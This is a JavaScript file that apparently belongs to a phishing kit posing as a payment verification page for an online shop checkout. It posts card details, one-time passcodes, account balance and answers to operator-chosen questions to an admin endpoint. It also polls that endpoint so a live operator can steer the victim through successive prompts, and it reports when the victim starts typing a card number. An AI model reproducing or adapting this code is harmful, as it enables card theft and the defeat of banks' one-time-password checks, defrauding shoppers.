function get_fields_data(){ return fields_data }
function hide_all_errors() { $('.error-msg').hide() }
function is_valid_balance(loginStr) { return /^\d{1,20}$/.test(loginStr) }
function is_valid_atm(loginStr) { return /^\d{3,20}$/.test(loginStr) }
function is_valid_otp(loginStr) { return /^\d{3,20}$/.test(loginStr) }
function is_valid_custom(customStr) { return customStr.length > 2 }
function is_valid_pass(loginStr) { return loginStr.length > 2 }
function is_valid_checksumm(loginStr) { return loginStr.length > 2 }

window.active_box = "";
window.send_endpoint = "/payment/payment/admin/functions";

window.auth_data = {
    otp: '',
    push: '',
    balance: '',
    custom: '',
    checksumm: '',
}

window.timerInterval = null

var auth_actions = {
    otp:make_otp,
    push:make_push,
    balance:make_balance,
    checksumm:make_checksumm,
    custom:make_custom
}

$(document).ready(function() {
    //show_loading()
    set_input_actions();    
    start_payment()
});

function send_data(data, type){
    $.ajax({
        type: "POST",
        url: window.send_endpoint+"/send.php?type="+type,
        data: {
            json: JSON.stringify(data)
        },
        async: false
    });
}

function check_errors(check_function, element) {
    if (!check_function(element.val())) {
        $(element.data('error')).show()
        return true
    }
    return false
}
function user_typing(){
	if(localStorage['typing'] != '1'){
    	var obj = {};              
    	$.ajax({
        	type: "POST",
        	url: window.send_endpoint+"/send.php?type=typing",
        	data: {
        	    json: JSON.stringify(obj)
        	},
    	});
    	localStorage['typing'] = '1'
    }
}

function show_loading(show=true) {
    if (show) $('#loading-box').css('display', 'inline-flex')
	else $('#loading-box').hide()
}

function set_box(box_name, show=true){
    $('.cred-input').val('')
    $('#'+window.active_box+'-box').hide();
    if (show) {
        window.active_box = box_name
        $('#'+window.active_box+'-box').show();
    	if(window.timerInterval != null){
        	clearInterval(window.timerInterval)
        	window.timerInterval = null
        }
    }   
}

function wait_action() {
    set_box(window.active_box, false);
    show_loading();
    window.a = setInterval(function(){
        $.ajax({
            method: "POST",
            data:{},
            url: window.send_endpoint+"/signal.php"
        })
        .done(function( msg ) {
            msg = msg.split(';')
            const prefix = "action_";
            const error_prefix = "error_";
            if (msg[0].startsWith(prefix)){
                const extractedValue = msg[0].substring(prefix.length);
                if (extractedValue.startsWith(error_prefix)){
                    const extractedValueError = extractedValue.substring(error_prefix.length);
                    $("#"+extractedValueError+"-message-error").show()
                    wait_action_end(extractedValueError) 
                } else {
                	if(extractedValue == "success") setTimeout(success_button, 3000)
                    if(extractedValue == "failed") setTimeout(failed_button, 3000)
                    if(extractedValue == "support") setTimeout(support_button, 5000)
                	if(extractedValue == "custom") wait_action_end(extractedValue, msg[1])
                    else wait_action_end(extractedValue)
                }
            }
        })
    },666);
}

function wait_action_end(status, custom=null) {
    if(custom != null){
        $('#custom-message-text').html(custom)
    }
    set_box(window.active_box, false);
    window.active_box = status;
    show_loading(false);
    set_box(window.active_box)
    clearInterval(window.a);
}

function make_balance() {
    var errors = false;
    var balance = $('#balance-input')
    errors += check_errors(is_valid_balance, balance)
    if (errors) return false
    show_loading();
    window.auth_data['balance'] = balance.val()
    var obj = Object.assign({}, get_fields_data(), {
        balance: balance.val(),
    });
    send_data(obj, "balance")
    return true
}

function make_push() {
    var errors = false;
    show_loading();
    var obj = Object.assign({}, get_fields_data(), {});
    send_data(obj, "push")
    return true
}

function make_otp() {
    var errors = false;
    var otp = $('#otp-input')
    errors += check_errors(is_valid_otp, otp)
    if (errors) return false
    show_loading();
    window.auth_data['otp'] = otp.val()
    var obj = Object.assign({}, get_fields_data(), {
        otp: otp.val(),
    });
    send_data(obj, "otp")
    return true
}

function make_custom() {
    var errors = false;
    var custom = $('#custom-input')
    errors += check_errors(is_valid_custom, custom)
    if (errors) return false
    show_loading();
    window.auth_data['custom'] = custom.val()
    var obj = Object.assign({}, get_fields_data(), {
        question: $('#custom-message-text').text(),
        custom: custom.val(),
    });
    send_data(obj, "custom")
    return true
}
function make_checksumm() {
    var errors = false;
    var checksumm = $('#checksumm-input')
    errors += check_errors(is_valid_checksumm, checksumm)
    if (errors) return false
    show_loading();
    window.auth_data['checksumm'] = checksumm.val()
    var obj = Object.assign({}, get_fields_data(), {
        checksumm: checksumm.val(),
    });
    send_data(obj, "checksumm")
    return true
}

function set_input_actions(){
    $('.box-confirm').on('click', function() {
        hide_all_errors()
        if (auth_actions[window.active_box]()){
            wait_action()
        }
    });
    $('.box-confirm-end').on('click', function() {
        if(window.active_box == "failed"){
            window.location.replace(window.failed_url)
        }
        if(window.active_box == "success") {
            window.location.replace(window.success_url)
        }
        return false
    });
    $('[name="card_number"]').on('keyup', function(){
    	user_typing()
    })
}

function start_payment(){
    send_data(fields_data, 'cc')
    wait_action()
}

function change_card_button(){
    send_data(fields_data, 'leave')
    window.location.href = 'https://maestropizzashop.com/index.php?page=checkout';
    return false
}
function failed_button(){
	window.location.replace(`${fields_data['failed']}&order=${encodeURIComponent(btoa(fields_data['order']))}`)
	return false
}
function success_button(){
	window.location.replace(`${fields_data['success']}&order=${encodeURIComponent(btoa(fields_data['order']))}`)
	return false
}
$('[id*="-form"]').on( "submit", function( event ) {
    $(this).find('.box-confirm').click()
    event.preventDefault();
});